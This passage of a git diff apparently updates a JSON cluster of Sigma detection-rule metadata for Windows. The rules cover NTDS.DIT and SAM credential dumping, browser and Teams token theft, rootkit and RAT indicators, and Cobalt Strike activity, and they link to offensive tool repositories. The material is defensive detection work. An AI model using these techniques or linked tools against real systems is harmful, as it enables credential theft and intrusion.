"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_from_susp_process.yml" ], "tags": [ @@ -37547,8 +37552,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/12", "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/5.B.1_611FCA99-97D0-4873-9E51-1C1BA2DBB40D.md", + "https://github.com/OTRF/detection-hackathon-apt29/issues/12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_startup_folder_file_write.yml" ], "tags": [ @@ -37603,43 +37608,7 @@ "value": "UAC Bypass Using NTFS Reparse Point - File" }, { - "description": "Detects suspicious creations of a file named \"ntds.dit\" (Active Directory Database) by suspicious parent process, directory or a suspicious one liner", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/11", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_ntds_dit.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", - "https://pentestlab.blog/tag/ntds-dit/", - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", - "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ] - }, - "related": [ - { - "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "4e7050dd-e548-483f-b7d6-527ab4fa784d", - "value": "Suspicious NTDS.DIT Creation" - }, - { - "description": "Detects suspicious creations of files with names used in various tools that export the NTDS.DIT for exfiltration", + "description": "Detects creation of files with specific name patterns seen used in various tools that export the NTDS.DIT for exfiltration.", "meta": { "author": "Florian Roth (Nextron Systems)", "creation_date": "2022/03/11", @@ -37671,7 +37640,7 @@ } ], "uuid": "3a8da4e0-36c1-40d2-8b29-b3e890d5172a", - "value": "Suspicious NTDS Exfil Filename Patterns" + "value": "NTDS Exfiltration Filename Patterns" }, { "description": "Detects creation of a file named \"ErrorHandler.cmd\" in the \"C:\\WINDOWS\\Setup\\Scripts\\\" directory which could be used as a method of persistence\nThe content of C:\\WINDOWS\\Setup\\Scripts\\ErrorHandler.cmd is read whenever some tools under C:\\WINDOWS\\System32\\oobe\\ (e.g. Setup.exe) fail to run for any reason.\n", @@ -37710,8 +37679,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/RonnyTNL/status/1436334640617373699?s=20", "https://twitter.com/vanitasnk/status/1437329511142420483?s=21", + "https://twitter.com/RonnyTNL/status/1436334640617373699?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winword_cve_2021_40444.yml" ], "tags": [ @@ -37869,11 +37838,11 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/search?q=CVE-2021-36934", - "https://www.google.com/search?q=%22reg.exe+save%22+sam", - "https://github.com/FireFart/hivenightmare", "https://github.com/HuskyHacks/ShadowSteal", + "https://github.com/search?q=CVE-2021-36934", + "https://github.com/FireFart/hivenightmare", "https://github.com/cube0x0/CVE-2021-36934", + "https://www.google.com/search?q=%22reg.exe+save%22+sam", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sam_dump.yml" ], "tags": [ @@ -37893,40 +37862,6 @@ "uuid": "4e87b8e2-2ee9-4b2a-a715-4727d297ece0", "value": "Potential SAM Database Dump" }, - { - "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/05/06", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_moriya_rootkit.yml", - "level": "critical", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_moriya_rootkit.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "related": [ - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "a1507d71-0b60-44f6-b17c-bf53220fdd88", - "value": "Moriya Rootkit" - }, { "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", "meta": { @@ -38062,41 +37997,6 @@ "uuid": "155dbf56-e0a4-4dd0-8905-8a98705045e8", "value": "UAC Bypass Abusing Winsat Path Parsing - File" }, - { - "description": "Detects creation of \".vhd\"/\".vhdx\" files by browser processes.\nMalware can use mountable Virtual Hard Disk \".vhd\" files to encapsulate payloads and evade security controls.\n", - "meta": { - "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "creation_date": "2021/10/25", - "falsepositive": [ - "Legitimate downloads of \".vhd\" files would also trigger this" - ], - "filename": "file_event_win_mal_vhd_download.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/intelligence-insights-october-2021/", - "https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_vhd_download.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ] - }, - "related": [ - { - "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "8468111a-ef07-4654-903b-b863a80bbc95", - "value": "Suspicious VHD Image Download From Browser" - }, { "description": "Detects creation of files with the \".pub\" extension in suspicious or uncommon locations. This could be a sign of attackers abusing Publisher documents", "meta": { @@ -38200,8 +38100,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d46dd4ac6866b4337ec126be8cee0e115467b3e8703794ba6f6df6432c806bc", + "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_initial_access_dll_search_order_hijacking.yml" ], "tags": [ @@ -38311,6 +38211,39 @@ "uuid": "52753ea4-b3a0-4365-910d-36cff487b789", "value": "Hijack Legit RDP Session to Move Laterally" }, + { + "description": "Detects creation of a file named \"ntds.dit\" (Active Directory Database)", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/05/05", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_ntds_dit_creation.yml", + "level": "low", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ] + }, + "related": [ + { + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "0b8baa3f-575c-46ee-8715-d6f28cc7d33c", + "value": "NTDS.DIT Created" + }, { "description": "Detects creation of new \".dll\" files inside the plugins directory of a notepad++ installation by a process other than \"gup.exe\". Which could indicates possible persistence", "meta": { @@ -38348,8 +38281,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63", "https://github.com/GhostPack/SafetyKatz", + "https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_safetykatz.yml" ], "tags": [ @@ -38564,8 +38497,8 @@ "logsource.product": "windows", "refs": [ "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", - "https://github.com/fox-it/LDAPFragger", "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", + "https://github.com/fox-it/LDAPFragger", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_adsi_cache_usage.yml" ], "tags": [ @@ -38632,8 +38565,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://aboutdfir.com/the-key-to-identify-psexec/", "https://twitter.com/davisrichardg/status/1616518800584704028", + "https://aboutdfir.com/the-key-to-identify-psexec/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_psexec_service_key.yml" ], "tags": [ @@ -38720,8 +38653,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_downloaded.yml" ], "tags": [ @@ -38896,8 +38829,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_created.yml" ], "tags": [ @@ -38930,8 +38863,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_teams.yml" ], "tags": [ @@ -39164,12 +39097,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/blackarrowsec/redteam-research/tree/26e6fc0c0d30d364758fa11c2922064a9a7fd309/LPE%20via%20StorSvc", - "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/", - "https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/", "https://github.com/Wh04m1001/SysmonEoP", + "https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/", "https://decoded.avast.io/martinchlumecky/png-steganography/", "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", + "https://github.com/blackarrowsec/redteam-research/tree/26e6fc0c0d30d364758fa11c2922064a9a7fd309/LPE%20via%20StorSvc", + "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_non_existent_dlls.yml" ], "tags": [ @@ -39320,8 +39253,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", "https://twitter.com/cyb3rops/status/1552932770464292864", + "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml" ], "tags": [ @@ -39343,40 +39276,6 @@ "uuid": "b6f91281-20aa-446a-b986-38a92813a18f", "value": "DLL Search Order Hijackig Via Additional Space in Path" }, - { - "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/05/05", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_event_win_malware_pingback_backdoor.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", - "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_malware_pingback_backdoor.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1574.001" - ] - }, - "related": [ - { - "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "2bd63d53-84d4-4210-80ff-bf0658f1bf78", - "value": "Pingback Backdoor File Indicators" - }, { "description": "Detects the creation of tasks from processes executed from suspicious locations", "meta": { @@ -39458,8 +39357,8 @@ "logsource.category": "file_rename", "logsource.product": "windows", "refs": [ - "https://twitter.com/ffforward/status/1481672378639912960", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036/T1036.md#atomic-test-1---system-file-copied-to-unusual-location", + "https://twitter.com/ffforward/status/1481672378639912960", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_not_dll_to_dll.yml" ], "tags": "No established tags" @@ -39921,8 +39820,8 @@ "logsource.category": "file_access", "logsource.product": "windows", "refs": [ - "https://github.com/lclevy/firepwd", "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users", + "https://github.com/lclevy/firepwd", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_stealing.yml" ], "tags": [ @@ -39955,8 +39854,8 @@ "logsource.category": "file_access", "logsource.product": "windows", "refs": [ - "https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist", "https://www.passcape.com/windows_password_recovery_dpapi_credhist", + "https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml" ], "tags": [ @@ -40055,8 +39954,8 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ - "https://twitter.com/notwhickey/status/1333900137232523264", "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/", + "https://twitter.com/notwhickey/status/1333900137232523264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml" ], "tags": [ @@ -40155,10 +40054,10 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", + "https://redcanary.com/blog/misbehaving-rats/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_remote_access_software_domains.yml" ], "tags": [ @@ -40191,8 +40090,8 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", + "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml" ], "tags": [ @@ -40254,29 +40153,6 @@ "uuid": "1cbbeaaf-3c8c-4e4c-9d72-49485b6a176b", "value": "DNS Query for Ufile.io Upload Domain - Sysmon" }, - { - "description": "Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/29", - "falsepositive": [ - "Unlikely" - ], - "filename": "dns_query_win_malware_3cx_compromise.yml", - "level": "high", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_malware_3cx_compromise.yml" - ], - "tags": [ - "attack.command_and_control" - ] - }, - "uuid": "bd03a0dc-5d93-49eb-b2e8-2dfd268600f8", - "value": "Potential Compromised 3CXDesktopApp Beaconing Activity - DNS" - }, { "description": "Detects DNS queries for subdomains used for upload to MEGA.io", "meta": { @@ -40424,9 +40300,9 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ + "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update", "https://www.virustotal.com/gui/file/d5661009c461a8b20e1ad22f48609cc84dd90aee9182e026659dde4d46aaf25e/relations", "https://www.virustotal.com/gui/file/0e2854753d17b1bb534de8e765d5813c9fb584a745978b3d92bc6ca78e3e7735/relations", - "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_malware_socgholish_second_stage_c2.yml" ], "tags": [ @@ -40786,8 +40662,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_service_dacl_modification_set_service.yml" ], "tags": [ @@ -40807,32 +40683,6 @@ "uuid": "a95b9b42-1308-4735-a1af-abb1c5e6f5ac", "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet" }, - { - "description": "Detects Office applications executing a child process that includes directory traversal patterns. This could be an attempt to exploit CVE-2022-30190 (MSDT RCE) or CVE-2021-40444 (MSHTML RCE)", - "meta": { - "author": "Christian Burkard (Nextron Systems), @SBousseaden (idea)", - "creation_date": "2022/06/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2021_40444_office_directory_traversal.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190", - "https://twitter.com/sbousseaden/status/1531653369546301440", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2021_40444_office_directory_traversal.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion" - ] - }, - "uuid": "868955d9-697e-45d4-a3da-360cefd7c216", - "value": "Potential Exploitation Attempt From Office Application" - }, { "description": "Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.", "meta": { @@ -40846,9 +40696,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/threat-detection-report/", - "https://www.cobaltstrike.com/help-windows-executable", "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://www.cobaltstrike.com/help-windows-executable", + "https://redcanary.com/threat-detection-report/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_load_by_rundll32.yml" ], "tags": [ @@ -40881,8 +40731,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/pssuspend", "https://twitter.com/0gtweet/status/1638069413717975046", + "https://docs.microsoft.com/en-us/sysinternals/downloads/pssuspend", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_pssuspend_susp_execution.yml" ], "tags": [ @@ -40939,11 +40789,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", "https://www.joeware.net/freetools/tools/adfind/", - "https://thedfirreport.com/2020/05/08/adfind-recon/", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", + "https://thedfirreport.com/2020/05/08/adfind-recon/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_adfind.yml" ], @@ -40988,43 +40838,6 @@ "uuid": "df55196f-f105-44d3-a675-e9dfb6cc2f2b", "value": "Renamed AdFind Execution" }, - { - "description": "Detects potential Dtrack RAT activity via specific process patterns", - "meta": { - "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/10/30", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_dtrack.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://securelist.com/my-name-is-dtrack/93338/", - "https://securelist.com/andariel-deploys-dtrack-and-maui-ransomware/107063/", - "https://app.any.run/tasks/4bc9860d-ab51-4077-9e09-59ad346b92fd/", - "https://www.cyberbit.com/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", - "https://app.any.run/tasks/ce4deab5-3263-494f-93e3-afb2b9d79f14/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dtrack.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "related": [ - { - "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "f1531fa4-5b84-4342-8f68-9cf3fdbd83d4", - "value": "Potential Dtrack RAT Activity" - }, { "description": "Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)", "meta": { @@ -41059,40 +40872,6 @@ "uuid": "e9142d84-fbe0-401d-ac50-3e519fb00c89", "value": "WhoAmI as Parameter" }, - { - "description": "Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/07/14", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_exploit_cve_2021_35211_servu.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2021_35211_servu.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001", - "cve.2021.35211" - ] - }, - "related": [ - { - "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "75578840-9526-4b2a-9462-af469a45e767", - "value": "Serv-U Exploitation CVE-2021-35211 by DEV-0322" - }, { "description": "Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.", "meta": { @@ -41242,49 +41021,6 @@ "uuid": "4b991083-3d0e-44ce-8fc4-b254025d8d4b", "value": "Unusual Parent Process For Cmd.EXE" }, - { - "description": "Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/07/15", - "falsepositive": [ - "Unknown but benign sub processes of the Windows DNS service dns.exe" - ], - "filename": "proc_creation_win_exploit_cve_2020_1350.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/", - "https://blog.menasec.net/2019/02/threat-hunting-24-microsoft-windows-dns.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1350.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.execution", - "attack.t1569.002" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "b5281f31-f9cc-4d0d-95d0-45b91c45b487", - "value": "DNS RCE CVE-2020-1350" - }, { "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting", "meta": { @@ -41328,48 +41064,6 @@ "uuid": "15619216-e993-4721-b590-4c520615a67d", "value": "Potential Meterpreter/CobaltStrike Activity" }, - { - "description": "Detects Rorschach ransomware execution activity", - "meta": { - "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/04/04", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_rorschach_ransomware_activity.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://research.checkpoint.com/2023/rorschach-a-new-sophisticated-and-fast-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_rorschach_ransomware_activity.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003", - "attack.t1059.001", - "attack.defense_evasion" - ] - }, - "related": [ - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "0e9e6c63-1350-48c4-9fa1-7ccb235edc68", - "value": "Rorschach Ransomware Execution Activity" - }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { @@ -41483,8 +41177,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/countuponsec/status/910977826853068800", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/", "https://twitter.com/countuponsec/status/910969424215232518", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml" ], "tags": [ @@ -41550,8 +41244,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", "https://h.43z.one/ipconverter/", + "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_obfuscated_ip_via_cli.yml" ], "tags": [ @@ -41654,8 +41348,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml" ], "tags": [ @@ -41777,9 +41471,9 